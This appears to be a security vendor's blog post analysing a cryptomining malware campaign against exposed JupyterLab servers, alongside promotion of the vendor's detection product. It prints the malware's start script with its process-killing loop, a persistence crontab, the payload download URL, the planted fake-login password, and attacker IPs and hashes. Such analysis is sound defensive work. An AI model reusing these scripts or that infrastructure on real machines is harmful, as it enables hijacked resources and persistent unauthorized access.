Aqua Nautilus researchers have discovered a new attack campaign targeting interactive computing environments such as Jupyter
Notebooks
. The attack consists of multiple stages, beginning with the download of a compressed file from a remote server. Once executed, the attacker deploys several malicious tools to exploit the server and establish persistence. This campaign poses a significant risk to cloud-native environments, as it enables unauthorized access and long-term control over compromised systems.
In this blog, we will outline the attack stages, discuss the potential risks, and provide recommendations to strengthen security and prevent exploitation.
The Attacked Workload
Interactive Computing Environments or Notebook Interfaces are platforms designed for data scientists and programmers to write, execute, and analyze code interactively. There are many products available, including Jupyter
Notebook
, JupyterLab
, Apache
Zeppelin
, Google
Colab
, Databricks
Notebooks
, and others.
These environments are often connected to the internet and require authentication to access data or execute code. However, a simple misconfiguration can sometimes expose the server to malicious activity by hackers.
Mapping the Attack Flow
The attackers gained initial access through an unauthenticated JupyterLab instance, allowing them to deploy malware and cryptominers. They first downloaded and extracted a compressed archive containing 13 malicious files, consisting of both binaries and shell scripts. Once executed, these scripts initiated multiple processes to establish persistence, hijack system resources for cryptomining, and evade detection (as shown in Figure 1).
The attack follows these steps:
- Initial Access: The attacker exploits an unauthenticated JupyterLab instance.
- Download & Extraction: A compressed file (.tar) is downloaded and extracted, revealing 13 malicious files (7 binaries and 6 shell scripts).
- Execution: The attacker runs a start script, which launches five additional binaries and shell scripts.
- Persistence & Evasion: The scripts initiate processes to establish persistence, hijack system resources for cryptomining, and avoid detection.
In the following sections, we will analyze each stage of the attack, how Aqua’s Runtime Protection solution detected the threat, and the steps taken to block it. Let’s explore how Aqua enables effective detection and response.
Step 1: Customize Threat Intelligence Feeds
We can customize threat intelligence feeds to include IP
addresses
, DNS
data
, or malicious
file
hashes
. This feature allows you to integrate your own threat intelligence sources into the platform.
Additionally, Aqua provides its proprietary threat intelligence feed, based on Nautilus research, which is continuously updated with the latest campaigns targeting cloud-native environments.
Step 2: Configure Runtime Policies
In addition, you can configure runtime policies at three different levels: container, virtual machine (VM), and Kubernetes (k8s) clusters.
In this case, we configured the VM and container levels to block malicious events from being executed. Specifically, we enabled behavioral monitoring, drift prevention, rootkit detection, and fileless execution, along with other security controls available in the Aqua Platform.
Step 3: Enable a Response Policy and Customize Alert Triggers
Additionally, we set up a response policy to alert us whenever malware is detected.
You can also customize a trigger based on specific behavioral rules and apply them to specific images.
Step 4: Configure Alerts
And lastly, you can distribute the alerts to various applications and platforms for better visibility and response.
Step 5: Investigate the Incident
Once we receive an alert about an incident, we can inspect the Incident view. Here, we observe four incidents originating from a single resource within a short time frame. This provides a strong indication of an intrusion and the execution of a cryptominer.
This information is valuable, but it does not provide a full investigation into what happened to our container. To gain deeper insights, we need to navigate to the Audit screen and select the relevant date, January 18th.
As you can see, the Aqua Platform detected and collected 4,199 events, providing a clearer picture of the attack. Among these, 4 events are labeled as incidents, 138 as blocked events, and 167 as success events, meaning they were successfully executed and were not blocked by the Enforcer.
The remaining events were collected to provide additional context. For instance, we can observe file opening or process executions, which may not be inherently malicious or suspicious. However, when analyzed in conjunction with incidents, they offer invaluable insights into what happened in our container after the malicious chain of events was initiated. Below you can see all the blocked events.
Detailed Summary of the Blocked Events
You can see that a shell script execution was blocked. In this specific case, one of the scripts, lol
, was successfully prevented from running.
When the entire attack is allowed to execute, the attacker downloads a tar file
from a remote location (http://167.172.154.218/.sobo/temp.tar
). Once extracted, it deploys 13 files in the directory /var/tmp/.lol11/.ICE-Temp
, consisting of 6 shell scripts and 7 binaries.
The malware executes multiple scripts and binaries while attempting to hide itself and maintain persistence on the server.
#!/bin/bash chattr +i /var/tmp/.ICE-Temp ./crazy > /dev/null 2>&1 & disown ./lol1 > /dev/null 2>&1 & disown ./lol > /dev/null 2>&1 & disown ./noob > /dev/null 2>&1 & disown ./run # Define the process name for syst3md syst3md_process="syst3md" # Define the CPU threshold for killing processes cpu_threshold=300 # Function to kill processes using over 100% CPU except syst3md kill_high_cpu_processes() { echo "Checking for processes using over $cpu_threshold% CPU..." while read -r pid cpu; do cpu="${cpu%.*}" # Remove decimal part if [ "$pid" != "$$" ] && [ "$pid" != "$(pgrep -x "$syst3md_process")" ] && [ "$cpu" -gt "$cpu_threshold" ]; then echo "Killing process $pid using $cpu% CPU..." kill -9 "$pid" fi done < <(ps -e -o pid,%cpu --sort=-%cpu --no-headers) } # Main loop while true; do # Kill processes using over 100% CPU except for syst3md kill_high_cpu_processes # Sleep for a while before checking again sleep 15 done
The main script start (MD5
: 4b94b70a58413e83dd5fd937862ad6dd
) executes several other scripts and binaries, including crazy (MD5
: dac46d7fff94af972f02afc00fb5ee95)
, lol (MD5
: 0eba5ce29c4baf4888bd2a9dd39fec0a)
, lol1
(MD5
: 3242c1445baa1bb42418f534c468c817)
, noob
(MD5
: 89599bf56ee19e0693a7ad5b57c7eeaf
), and run (MD5
: 6f2ad308cfca8ada83dddeff3550ff1b
).
The crazy script is designed to establish persistence and restrict access to the server. It modifies the ~/.bashrc
file to execute a fake login prompt whenever a user opens a terminal. If the user enters the hardcoded password (parola
=”32y45873y2485324jh23
“), access is granted; otherwise, the session is terminated.
The lol
and lol1
scripts are responsible for running cryptominers, pythonlol (MD5
: 305f278eaf452f7e0b8d788e433278c6
) and sobolan (MD5
: 7849983d77b052de90558feeefb3078d
).
The noob
script is designed to kill high CPU usage processes, likely to prevent other applications from interfering with the cryptomining operation.
Once the run binary is executed, the task is renamed to bash
. It inspects .ssh
credentials
, attempts (but fails) to download the script clear
.sh
, and executes the binary apachlogs
(MD5
: 9e39b0a7baca08a77c4716e5581660b2
). The malware also creates files used to set up cron jobs
, ensuring continued execution and persistence on the compromised system.
# DO NOT EDIT THIS FILE - edit the master and reinstall. # (.tempo installed on Sat Jan 18 20:27:04 2025) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) * * * * * /var/tmp/.loll1/.ICE-Temp/1 > /dev/null <&1 2>&1 & disown @monthly /var/tmp/.lol11/.ICE-Temp/1 > /dev/null <&1 2>&1 & disown @reboot /var/tmp/.loll1/.ICE-Temp/apachelogs > /dev/null <&1 2>&1 & disown
Apachelogs
runs a service that kills competing cryptominers and executes the binary ‘1’
(MD5
: a6ae2651f951fe07f265b548474274b9
), which then executes syst3md (MD5: ca1543264c990b85310bcb879e43eb36
). Syst3md
is a cryptominer that attempts to connect to a PostgreSQL
database linked to the MiningOcean
domain.
When inspecting the syst3md
binary, there are no indications of PostgreSQL
imports such as PQconnectdb
, PQsetdbLogin
, PQexec
, or PQfinish
. This suggests that the port and process may be used to disguise the connection to a cryptomining pool rather than an actual database interaction.
The file status (MD5
: 7989ea33ddede0ecf9f3e562aaa8a1c4
) is designed to modify a JSON configuration file, but it was not used in this attack.
Summary
The Sobolan malware attack highlights the evolving tactics threat actors use to compromise interactive computing environments like Jupyter Notebooks. By exploiting misconfigurations, deploying multiple persistence mechanisms, and running cryptominers, attackers can severely impact cloud native workloads. Aqua’s Runtime Protection effectively detects, blocks, and mitigates these threats by leveraging real-time threat intelligence, malware scanning, and customizable runtime policies. Organizations using Aqua can proactively secure their environments against such attacks, ensuring operational integrity and preventing unauthorized access. Staying vigilant and implementing robust security controls is key to defending against increasingly sophisticated cloud native threats.
Indications of Compromise (IOCs)
Type | Value | Notes |
---|---|---|
IP address | ||
IP Address | 37.201.213.226 | Attacker IP |
IP address | 167.172.154.218 | Download server |
Files | ||
Binary file | MD5: 305f278eaf452f7e0b8d788e433278c6 | pythonlol |
Binary file | MD5: 7849983d77b052de90558feeefb3078d | sobolan |
Binary file | MD5: 9e39b0a7baca08a77c4716e5581660b2 | apachlogs |
Binary file | MD5: a6ae2651f951fe07f265b548474274b9 | 1 |
Binary file | MD5: ca1543264c990b85310bcb879e43eb36 | syst3md |
Binary file | MD5: 6f2ad308cfca8ada83dddeff3550ff1b | run |
Shell script | MD5: 4b94b70a58413e83dd5fd937862ad6dd | start |
Shell script | MD5:dac46d7fff94af972f02afc00fb5ee95 | crazy |
Shell script | MD5:0eba5ce29c4baf4888bd2a9dd39fec0a | lol |
Shell script | MD5: 3242c1445baa1bb42418f534c468c817 | lol1 |
Shell script | MD5: 89599bf56ee19e0693a7ad5b57c7eeaf | noob |
Shell script | MD5: 7989ea33ddede0ecf9f3e562aaa8a1c4 | status |